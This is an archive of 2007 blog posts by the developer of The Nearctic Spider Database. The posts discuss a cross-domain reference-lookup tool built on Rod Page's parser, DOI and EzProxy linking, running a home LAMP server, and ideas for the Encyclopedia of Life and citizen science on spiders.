What irks me about references cited on web pages is that you can't directly get the PDF or at least immediately search for it unless the page author has explicitly put a link to that paper. When a page author has taken the time to construct these links, they often point to a 404 (page doesn't exist) because the link is no longer working. In the digital age, surely this sort of thing can be done more effectively. Well, thanks to Rod Page who has developed a reference parsing tool in his bioGUID suite of applications, this functionality along with some nifty Flash-based, cross-domain AJAX that I used, is now possible. For a taste of this, have a peek at the references page in The Nearctic Spider Database.

Now, what the heck is going on here? Glad you asked.

The chain of events I think is very cool.

First, I simply wrap individual references in uniquely identified and sequentially numbered identifiers and put a "holding" span at the end of these with similarly identified span elements:

<p><span id="bioGUIDref_1">This is the first full reference.</span> <span id="bioGUIDres_1"></span></p>

That's pretty easy for anyone with a rudimentary knowledge of HTML.

Second, I put a reference to a JavaScript in the page header whose functions initialize when the page finishes loading. That script counts all the references with the simple mark-up shown above and puts little search icons in the holding spans. Of course this script can be hosted elsewhere and anyone can put it in their page headers.

Third, I put this mark-up at the bottom of the page that initializes a Flash item, which coordinates some cross-domain search functions via Rod's reference parsing API (more on that below):

<script type="text/javascript">FlashHelper.writeFlash();</script>

So, for the end user seeing a list of references with these little search icons stuck at the end of each of them as such:

Agnarsson, I. 2004. Morphological phylogeny of cobweb spiders and their relatives (Araneae, Araneoidea, Theridiidae). Zool. J. Linnean Soc. 141: 447-626.

...it's a simple matter of clicking each in turn to perform a real-time search for individual papers of interest [Disclaimer: of course the above example doesn't work here in this blog post]. If the paper is found somewhere in the ether, the icon changes either to in the case of a freely available PDF (yay!), if the paper can be found via other means (subscription may be required), if the reference was successfully parsed and searched but nothing was found, or if the reference was not successfully parsed and consequently a search couldn't effectively be constructed.

The really awesome part of this whole system is that it is laughably easy for anyone with a basic knowledge of HTML (no complex coding required!) to duplicate these functions on their authored web pages. But let's first have some background on how this works.

This cross-domain AJAX querying system uses Flash. Julien Couvreur worked with Jason Levitt (from Yahoo) to create an XMLHTTP transport that uses Flash. You can read about this in Julien's blog, Curosity is Bliss, where he also has a nice demo that produces search results from Yahoo's ImageSearch API using this technique. What Rod had to do was first get his reference parsing script to produce XML and also had to create a simple crossdomain.xml document and dump it in the root folder for his domain. Julien points out a potential security issue with these Flash-based cross-domain search queries so Rod at the moment only has The Canadian Arachnologists' domain in his crossdomain.xml document.

An end user clicking initiates a cross-domain request to Rod's machine. The reference is parsed in Rod's Perl script (i.e. split-up into Author, Year, Title, Publication, Pages, etc. as required for OpenURL) then sent off to CrossRef and elsewhere to obtain search results. This system works fantastically well for modern publications that have bought into CrossRef's DOI system (note: handles are also working in Rod's Perl scripting) but what about all those scientific societies that produce online PDFs but haven't bought into DOI's?

For smaller societies and publications like the Journal of Arachnology, Rod unfortunately must scrape the URLs to their digital reprints. [Aside: JoA does have DOIs, but these are issued from BioOne and an end-user accessing JoA articles via BioOne would of course be presented with a pay-per-view screen - sucky] In these cases then, the XMLHTTP system I have that sends citations to Rod's machine might return an erroneous link to a PDF if the source URL was changed & Rod hadn't yet updated his listings. But, as long as societies agree not to mess with their URL structure, the conduit to their PDFs remains viable. This is most certainly something The Encyclopedia of Life can coordinate.

Here then is a very slick little system that is easy for web page authors to implement and intuitively obvious for end-users. A potential pitfall worth mentioning is poorly constructed citations. Rod's algorithms that split a citation into is constituent bits are only as good as what goes in. In other words at my end for example, if a icon is returned to the end-user, a digital version of the paper might exist somewhere - I just didn't construct my citation well enough for Rod's algorithm to split the bits into an OpenURL format. So, I am contemplating adding a icon to sit alongside the icon such that an end-user who knows the paper can be found online can send me a quick note/poke to tell me that I need to re-write the citation.

If you want some background on what Rod did at his end, head over to his blog where he wrote about OpenURL Here & Here.

DOI + EzProxy

2007-05-25T00:55:00.000-06:00

I spent a few hours yesterday learning how to do a few rudimentary things in Perl. My goal was to create something useful with all the references in The Nearctic Spider Database. It's nice to have a list of papers on the species pages I host, but is this really useful to anyone? I'd much rather have a direct link to download the paper than to see a reference list, which is fundamentally useless to me. Because DOIs and resolving services like CrossRef have become popular now, I thought I'd at least add "PDF" icons for the relatively recent articles such that you can download the paper. This is why I have been trying to learn Perl, which has a few really cool modules to parse references into their constituent, openURL structure.

Here's what you can do with DOIs & why they're cool:

Ingi Agnarsson published a massive and thorough paper in the Zoological Journal of the Linnean Society entitled, "A revision of the New World eximius lineage of Anelosimus (Araneae, Theridiidae) and a phylogenetic analysis using worldwide exemplars". The full reference is:

Agnarsson, I. 2006. A revision of the New World eximius lineage of Anelosimus (Araneae, Theridiidae) and a phylogenetic analysis using worldwide exemplars. Zool. J. Linn. Soc. 146: 453-593.

That paper has the doi 10.1111/j.1096-3642.2006.00213.x and I store this value in the Nearctic Spider Database's references table exactly like that because it is persistent. This doi can be slapped behind http://dx.doi.org/ to give you http://dx.doi.org/10.1111/j.1096-3642.2006.00213.x. Now there's a ready-made, direct link to Ingi's paper right from the Nearctic Spider Database and I never have to worry about a dead link. But, there's a catch. It's a copyrighted paper so you have to log on to Blackwell Synergy's web site (somehow) to actually retrieve the full PDF and not just look at the nice title and abstract. If you happen to be on your institution's network, your library system is fully integrated into your internal network, and you library subscribes to the resource, then you can directly access the PDF. But what if you're using a computer at home or your institution hasn't fully integrated their library systems (requiring authentication), are we any better off with DOIs? For the end user, not really.

However, in an earlier post where I tried to think about how The Encyclopedia of Life might generate a steady flow of income, I mentioned the use of EzProxy. Now my ideas have finally gelled.

To make the PDF links in The Nearctic Spider Database really work for remote users (i.e. working at home) who belong to an institution whose library subscribes to the Zoological Journal of the Linnean Society, I'd like to be able to dynamically rewrite http://dx.doi.org/10.1111/j.1096-3642.2006.00213.x to http://login.ezproxy.library.ualberta.ca/login?url=http://dx.doi.org/10.1111/j.1096-3642.2006.00213.x as is the case for the University of Albera. Clicking that link will of course take you to the U of A library login screen prior to redirecting you to the publisher's page. Via that one minor login hiccup on your institution's library page, you can then download Ingi's paper. So how do you rewrite the URL on-the-fly? A cookie! Recipe: read member's cookie...find institution's EzProxy base URL stored there...change the doi URL. Simple as that. Alternatively, the EzProxy base URL could be stored in a table in the server's database in the event an institution changes its EzProxy settings. You probably wouldn't want frutrated users trying to get things to work with a half-baked cookie in their cache. But (there's always a but), it would be quite unreasonable for me to store all these EzProxy base URLs in The Nearctic Spider Database. If there was a web service I could use that maintained such lists, then I would most certainly use it. I have no money, but The Encyclopedia of Life does! Folks leading EoL are searching for a way to encourage systematists to vet species pages, so here's a really nice way to give something in return: direct links to PDF downloads. The subscription fee charged to institutions would be to maintain working EzProxy base URLs (or similar base proxy URLs to coordinate this) in the EoL database. Now that would be cool.

Post Update

Apparently, I haven't been the only one thinking about these sorts of remote authentication issues. There's a blog called "The Distant Librarian" where these exact same ideas have been kicked around, though with use in Google Scholar (1,2)...same principle. So, it appears that The Encyclopedia of Life can be added to institutions EzProxy config to allow direct links to the PDF downloads. Also of interest is WAG the Dog PHP localizer (also available on SourceForge). Wouldn't you know it, Peter Binkley was one of the developers of WAG. He's a librarian at my own institution! I'll have to go have a coffee with him.

I also discovered a FireFox extension under development by a number of libraries called LibX, which does magic, client-side URL re-writing for DOIs, has Google Scholar integration, & works with EzProxy. Now all we need is buy-in by all libraries for this & for IE/Safari folks to use FF. If you absolutely can't wait for librarians in your institution to make a LibX FF extension, you can probably kludge together an approximation of its functionality using Greasemonkey and Jesse Ruderman's autolink script, which you can adjust (if you're familiar with regexp) to suit the way DOIs are typically presented on web sites.

How to Present Your First Paper at a Scientific Conference

2007-05-23T23:43:00.000-06:00

Still chicken?

The Headless, Household Server

2007-05-23T22:22:00.000-06:00

Many of you are aware that The Nearctic Spider Database and all the other goodies I have been fussing with are hosted off a machine in my basement. I presented its design and capabilities at the last ECN meeting in Indianapolis, IN. The student with a server in his basement drew a few chides and chuckles, but I suspect it made many stop & think. A few in attendance were wary of such a home-grown project. Back-ups? Theft? Damage? Flood? These same issues are faced by web hosting companies. As long as you have a reasonable solution to all these (e.g. scheduled and off-site storage of back-ups), and you periodically have a look at your web logs to assess traffic and bandwidth such that your Internet service provider doesn't pull the plug on you, what's the big deal? Databases and websites are portable. It would take perhaps an hour to remotely transfer the whole she-bang to another machine. What I also hope transpired from that meeting is an understanding that this stuff doesn't require rocket science and a massive team of database and web engineers. Just a bit of time and patience. So, this post is an introduction to a do-it-yourself, headless (no monitor), household server. If you have a ton of images and data that you haven't figured out what to do with, what are you waiting for?

Hardware: Any old PC will do so long is it has a reasonable amount of oomph and you can jam it full of memory. There are lots of local Mom & Pop computer stores that will sell you a brand new PC for less than $500. Remember, you don't need an Operating System (more below) and you don't need a monitor...you'll just need to borrow one for the initial install. What you do need though are: 1) a good, name-brand power supply unit, 2) a bare-bones, read-only CD-ROM, 3) a quiet case with good ventilation, 4) minimum of 2GB RAM, 5) A 2.4GHz processor or more (too much more is just a waste of energy), 6) a motherboard with onboard network connection & video, and 7) a couple of hard drives (size depends on your needs).

Software: Ubuntu Server Edition for a fully-functioning LAMP install as a free download that you can burn to CD. LAMP = Linux, Apache, MySQL database, and PHP for programmtic delivery of web pages. The Ubuntu community is very active and can help troubleshoot issues you may have with installation. With a reasonably well configured machine (cutting edge hardware is best avoided and unnecessary), you ought to be able to get a bare-bones LAMP install, ready for data import in an hour or so.

What you also need is a hardware router and a home Internet service provider that is reasonably lax when it comes to hosting stuff on their pipes. Some purposefully block Port TCP 80, the channel web traffic travels on, but many others recognize the stiff competition out there for customers and consequently, turn a blind eye. Since your home Internet protocol address might very well be dynamically-assigned, you can make use of free services liks DynDNS & configure your router to automatically send an update to this service should your provider assign you a new IP.

There's more to it than this of course (i.e. database development, web page design and delivery & remote access from another PC on your home network), but these are the basics. If you want a visual step-by-step, Falko Timme has a nice article on howtoforge.com.

Remixing the Web II

2007-05-18T22:25:00.001-06:00

I wondered when Microsoft would enter the visual mashup IDE world. With Yahoo Pipes, Zude and similar projects, Microsoft has jumped in and is making great use of its cross-platform / cross-browser Silverlight plugin within a visual mashup interface they are calling Popfly. Google, where are you on this front? I had my reservations at first, but I am now thoroughly convinced that a MyEoL within The Enyclopedia of Life is well within reach. What remains is intelligent and simple use of these technologies while maintaining accreditation for contributions.

Monetizing the Encyclopedia of Life

2007-05-17T18:22:00.001-06:00

First, let me preface this post by saying I know next to nothing of library informatics or politics. However, I have been chewing on an idea that may help monetize The Encyclopedia of Life in an acceptable fashion, thus bulding a long term flow of income to help build this great resource.

While remotely using my institution's library to hunt for PDF reprints, it occured to me that EoL ought to negotiate using uBioRSS as a database similar in functionality to the largescale, educational databases like BioOne. My University uses EzProxy to coordinate logon by students to access library resources, which essentially means that remote sessions appear local. So, accessing a PDF from a publisher once authenticated through my library's system is quick and easy. In very simplistic (and admittedly naive terms), "login.ezproxy.library.ualberta.ca" for example gets tagged onto the suffix of the publisher's domain to coordinate this pass-through authentication. Couldn't the uBioRSS service be rolled into EoL along with a reasonable subscription fee for institutions such that students and employees can directly access PDF reprints right off the species pages in EoL? The majority of the content on species pages in EoL would of course still be fully open access, it's merely the direct links to copyrighted PDF downloads that would require prior authentication from within an institution. It would be absurd to charge institutions the typical BioOne-type subscription fees, but why not a reasonable fee that helps offset the EoL staffing and infrastructure costs?

Remixing the Web

2007-05-17T13:59:00.000-06:00

There's a new social networking application on the horizon that quite frankly, scares me. If you thought Facebook, MySpace, and other social networking applications or systems were pervasive & viral, wait 'til Zude hits the scene. If you want a preview of the capabilities and have ~15-20 minutes to spare, I urge you to check out the ZDNet preview video: http://zdnet.com.com/1606-2_2-6176625.html. David Berlind hinted that a beta of Zude would be available May 1st, but this hasn't yet happened. Marketing ploy to generate more interest? Not yet ready? No matter. When this appears, it'll completely change the landscape on the Internet and we'll collectively have to think very seriously about copyright and content ownership. Regardless of what happens on those fronts, it sounds as if a third party can license the drag-drop functionality in Zude. This has direct relevance to the MyEoL environment in The Encyclopedia of Life.

The Living Encyclopedia - MyEoL

2007-05-11T19:51:00.000-06:00

The greatest challenge engineers and architects for the Encyclopedia of Life (EoL) will face is the proposed MyEoL, part of which will be the workbench for authors to contribute content. Without this, EoL degrades to a search engine with a spider (aka EoLbot) with a bit of Catalogue of Life name-smarts. In MyEoL, material must be made accessible in some form of drag-drop interface along with some form of textarea WYSIWYG box to write content. Images and snazzery (my new word-of-the-day) aside, it's ultimately the textual content that will drive discoverability. Afterall, this is the basis for any local or remote search engine index because image and video metadata are terrible. So how do you get contributors to sit down and type content? Do you first create a politically messy granting scheme by getting public funding agencies on-board to fund such manual efforts? Or, do you create something beyond the catch-phrase, Web 2.0?

Like Rod Page of iSpecies fame, I have been following the progress on mash-up technologies like Yahoo's Pipes, Dapper, OpenKapow and similar emerging tools. Nick Gonzalez has a nice overview of these. The one that stands out from all these in my mind is RSSBus. There are two reasons it hasn't quite caught on like Yahoo's Pipes and the others: 1. There is no slick user interface, and 2. it is not yet cross-platform. However, don't sell it short because it is far more powerful than most have given it credit. What really attracts me to RSSBus is its server to desktop and back (push-pull) architecture with the ability to use or create any sort of connector. One can pull xml data from an on-line resource, mix it with local Excel data or other data objects, then churn it out as an RSS feed if so desired. Here then is a superb opportunity for the systematics community - heck any biological community - to leverage this great work. Coincidentally, Donald Hobern (GBIF) has already coined a Biodiversity Data Bus for EoL's server-server communications.

But why stop at the server environment? What would truly change the way we conduct biological research, thus building the EoL dream, is if this data bus were extended to the desktop. Wouldn't you like to mix your local data with that pulled from external resources? I sure would. Better yet, imagine creating a Facebook-like community of colleagues when preparing data for a manuscript. Each co-author contributes his/her data via their desktop RSSBus, leverages the great work on names management undertaken by the Catalogue of Life and uBio thus making a great first crack at merging data sets, then the co-authors in this little invite-only community can collectively work on analyses and presentation for the manuscript. What we typically have today with co-authored manuscripts is one or a few more individuals responsible for the grunt work of merging data sets and making sense of it. At the end of a much more simplified, RSSBus-like communal data merging effort, I would then be very much inclined to click a button and push such a creation or parts of this creation back out to EoL.

What also hasn't been effectively discussed is how EoL will acquire content to feed its pages. Will it be an EoLbot like what was hinted at in a few press announcements or will it be something like DiGIR with canned or modularized Darwin Core-like elements? That may work for existing species page providers who serve their pages from a backend, but what about all that great, flat HTML content out there for which only traditional search engines like Google, Yahoo, MSN and other big players have been scouring? Does EoL intend to use Google, Yahoo, and others and scrape their results to feed the initial EoL species pages? Yikes. That scares me because these engines may and often do produce erroneous results...they haven't got biological intelligence. Google Images is particularly bad at handling nomenclature and image associations as I discovered with some of the indexed content from The Nearctic Spider Database (e.g. HERE). Here's also where we might be creative with RSSBus if it could be married with something like OpenSearch and a client-run spidering and indexing tool for their served content. One such example is the inexpensive Zoom Search that has lots of great plug-ins to read image metadata and ultimately produces an index through its spidering algorithms for use in a template-driven search portal. This sort of system with a UDDI registry would be really cool because attribution is then possible without any great deal of effort. Stripping canned results from Google or Yahoo to build the initial content does not come bundled with attribution for the source. EoL can essentially create a search engine for content providers, freely hand it out and content providers can pretty-up their search portal and spider their content as they want. This is great value because as with Zoom Search, content providers can log search queries and get a sense for what people are actually searching for on their pages. Behind the scenes, EoL pulls content via OpenSearch to feed the RSSBus scaffolding in MyEoL.

Though this video doesn't really give RSSBus its deserved credit and it's tough to see the relevance in biology, it none the less provides a glimpse of what I have been talking about with the "Living Encyclopedia" as opposed to merely an "Encyclopedia of Life".

Encyclopedia of Life

2007-05-10T09:42:00.000-06:00

The Encyclopedia of Life was officially launched yesterday and I have been reading various public postings to guage response.

Of all these I have tried to scan, Slashdot is perhaps the most active and most informative. So, here is my best attempt at summarizing public reception:

1. There's a notable lack of understanding for how this will be different from WikiSpecies. There is little to no appreciation for the challenge of names management of the kind spearheaded by uBio. This is a critical piece of the puzzle that cannot be done in a 2-dimensional wiki environment.

2. Most people understand that content will be developed by first "harvesting" material scattered on the Internet then cleaned-up by "scientists". But there has been little to no discussion on how that will be accomplished or how accreditation will be maintained.

3. There hasn't yet been much discussion on the TAXACOM or ENTOMO-L listservs about the encyclopedia. A few suggested that monies would be better put into pure systematics rather than into a "bean-counting" exercise. Others recognize that the content will necessarily be created by systematists, but see that there is as yet no incentive to do so. Millions of $$ are dumped into scanning materials, wages, etc. but how does that filter down to individual contributors?

4. The "MyEoL" vs. the canonical "EoL" content is not well appreciated.

5. Timeframe for "completion" has been grossly misunderstood. Many believe they have to wait for 10 years to see anything come out of EoL.

The EoL Workbench: "The Living Encyclopedia"

While I do think an Encyclopedia of Life will be a most amazing resource, there is a very large & critically missing piece of the puzzle as it relates to #3 in my list above. The EoL promotional video grandly expresses that such an encyclopedia will transform the science of biology. How? What we see to date is a digital version of a paper encyclopedia with a bit of gadgetry to encourage public participation. If this is to transform biology, it must simplify communications or the work flow in day-to-day biological pursuits. This is where my "Living Encyclopedia" idea comes in.

First, the communications required to conduct revisionary work need to be very well understood. For starters, ALL type specimens must first be made available & directly tied to direct channels of communication to the curators charged with maintaining those holdings. The folks at GBIF have taken great first steps, but digital representations of ALL type specimens accessible via DiGIR, TAPIR or other means is no where near complete. Systematists must still scour old literature to learn where type specimens are held, write letters, etc. before acquiring specimens BEFORE any serious revision can be started.

Second, there is currently no effective link between publishers of taxonomic literature & the nomenclators. Before that happens, an encyclopedia will be woefully dated.

So here's the idea...

Integrated into "MyEoL" ought to be a blank slate - an organizational workbench if you will. Here, systematists run very simple web service queries to GBIF to create a visual "cloud" of specimens of interest. This would be much like Yahoo's Pipes. Through drag-and-drop, communications to curators is coordinated for loans. A systematist would continue to use this tool to add/remove specimens according to the concept they are working with, connect pieces of the cloud to other resources like those in GenBank, insert references, etc. all via drag-drop. Upon completion of the work, the circumscribed specimens and the entire visual representation of the workflow is "locked" and a permanent URL is issued, which can and ought to be present in the eventual publication. When the publication is accepted, the systematist then returns to the workbench to insert the publication's DOI. In such a manner, all the digital bits are in place. This permanent URL that describes the circumscription of specimens is then in the public domain such that other systematists may examine the "guts" behind the publication. Once all is said and done, this then becomes the scaffolding for a species page in EoL.

This is vastly different than a purely post-hoc encyclopedia because the incentive is a simplified & accelerated workflow - a much lower-level entry point. So, the amount of teeth-pulling required to build an effective Encyclopedia of Life with content written by the scientific community is vastly reduced. The former model doesn't require accreditation for resources or material but the present model is a mess of very difficult "mash-ups". Sure, a first crack at the encyclopedia can be harvested content, but to be sustainable, it has to either adopt a distasteful monitization scheme (i.e. supported by click-through advertising) or create a low-level, organizational workbench of immense value to the scientific community, very easily expressed to government and public fund agencies like NSF, NSERC, etc.

Biodiversity Informatics relevance

2007-04-30T14:16:00.000-06:00

For a long time now, I have been thinking about the relevance of biodiversity informatics in entomology/arachnology circles. Most entomologists grasp the idea of federated data from museums & private collectors, but I don't think many realize the potential for these data in their own research programs or would even think of looking for data outside their immediate reach. Like the majority of ecologists, entomologist/arachnologists do not have any desire to share data. In fact, most will refuse to do so for fear of being "scooped". This may simply be the "old-guard" stigma, but I fear not.

I just read a review in Annual Review of Entomology entitled, "Biodiversity Informatics" by Norm Johnson (doi:10.1146/annurev.ento.52.110405.091259). In all honesty, the review seemed dumbed down and I suspect this wasn't Norm's doing, but was done at the behest of the editor or reviewers. In particular, I would have liked to have seen more on GUIDs and how these relate to aggregation of data, literature, etc. This is sadly lacking and we need real-world reasons or examples for making use of GUIDs and not merely name strings.

Citizen Science...spider style

2007-04-27T18:02:00.000-06:00

I have been developing The Nearctic Spider Database for a number of years now. All the nomenclature, database, and web page development are under my purvue, but individuals who have demonstrated some form of expertise on spider systematics, biogeography, etc. have the option to author and/or review species pages. They can upload imagery, select references, add descriptions, plus a number of other functions all via the website. These productions are then open for review in the very traditional sense. Once three reviews have been received and the author has made any suggested changes as expressed by the anonymous reviewers, I receive notice, flick the switch, and the species page is tagged "Peer reviewed" then locked for further editing. However, all point collection maps, other taxonomic references, lists of synonyms & chresonyms, and a phenological chart are dynamically created and may change with additional data from the specimen side of the database.

Since this sort of "expert" authoring/reviewing cut off all option for the casual browser of these pages to contribute, I created a "drop a comment" feature whereby anyone and everyone may write a casual comment on a species, a sighting report, etc. in a manner much like leaving a comment on someone else's blog post. Response to this new feature has been fairly good so, at the request of a few contributors to the database, I created "Spider WebWatch" - a citizen science initiative for anyone and everyone to submit observations on spiders they see in their backyard and elsewhere.

Granted there is no way to track misidentifications, issues arising from nomenclatural change in the event of a revision and other issues that plague or otherwise bring into question the longevity and utility of the data in scientific research, the point of Spider WebWatch is for anyone to contribute. In this way, the hope is more pervasive interest in spider biodiversity research...sort of like a gateway or an introduction to araneology. To limit some of the issues with observational data, there are only 9 species in Spider WebWatch. A discussion in The Nearctic Arachnologists' Forum helped choose these 9 species.

I took the "drop a comment" feature on species pages in The Nearctic Spider Database to a much more interactive level and permit "WebWatchers" in Spider WebWatch to not only upload an observation with an image but to comment on anyone else's observation, thus building threads of discussions in a manner very much like a forum. A contributor may edit their observations or comments at any time and the system for contributing an observation is stripped down to the bare minimum. It was brought to my attention that a web form with too many fields or boxes to tick/fill is overwhelming.

So, try out Spider WebWatch. I also have a poll underway to get some feedback on the possibility of using a web-enabled mobile phone to submit an observation.

Client-orchestrated Data Repurposing

2007-04-27T16:34:00.000-06:00

A lot of work is underway by various working groups within TDWG to connect one machine to another for intelligent data exchange systems. For example, DiGIR and BioCASE (soon to superseded by TAPIR) are nifty systems to create on-the-fly XML documents whose data they contain can be dumped into other databases. This of course is all behind-the-scenes with no direct benefit to providers of their biodiversity data except I suppose a demonstration to administrators that they have contributed to the greater good. Eventually, somewhere down the line, there may be some sort of attribution but there's no guarantee.

GBIF does a great job of maintaining attribution because the ultimate goal is to permit someone who uses their website to discover where a specimen can be found & to contact the curator. However, there's nothing stopping anyone from aggregating data from DiGIR providers and repurposing it without any sort of attribution or "link" back to the provider. In other words, an institution could potentially have to cough up a lot of funds to keep the bandwidth pipes flowing and there may not be any immediate value. These sorts of thoughts fly in the face of open access. Don't get me wrong, I'm all for open access, I'm just not certain if such a model for aggregating biodiversity data in museums and elsewhere is sustainable. What is at least needed is an auditing & logging tool associated with DiGIR (or TAPIR) such that providers of biodiversity data may collect data on who used their resource, what was downloaded and what traffic patterns have been like over 'x' number of days, weeks, months, etc. But, I know of no such add-on for DiGIR or BioCASE providers.

So, I have been looking into alternative means to share resources and have played around with various ideas. One such idea takes the form of gadgets to share imagery. There are a ton of really useful images of immense biological value and when these are shared around, it becomes impossible to know where the original image was first made available and who provided it. One could use meta tags and embed that data within the image, but who does that? If there was a browser-based meta tag reader for images for web programmers to tap into, then meta tags would be obvious. However, I'm not aware of any browser plug-in that can do that. So, here's a gadget script that can be copied and pasted onto a web site:

And here's the result:

The gadget itself is dynamically-created JavaScript that pulls all the bits from the Nearctic Spider Database. The species nomenclature, attribution, and link to the species page are automatic & could change should I change anything in the database. These changes would of course cascade through all instances of the script where ever these may be. The individual who "made" the gadget can however pretty it up as they might like through a little configuration tool I have. Feel free to mess with that by clicking a "Link it" button here: http://canadianarachnology.dyndns.org/data/spiders/18655.

Something like this gadget system is by no means rocket science but has immediate value to the provider and the individual wishing to repurpose it for their web site.

Inaugural Post

2007-04-26T17:36:00.000-06:00

I'm a latecomer to the blog scene so thought I'd try my hand at it.

This blog will include bits that have fallen off the wagon as it were while developing The Canadian Arachnologist, The Nearctic Spider Database, The Nearctic Arachnologists' Forum and Spider WebWatch. The latter is a citizen science initiative that accepts observation data on 9 ambassador species in North America. I have a strong interest in federating biological data so there will undoubtedly be posts about nomenclatural management, species concepts, data aggregation techniques and the like.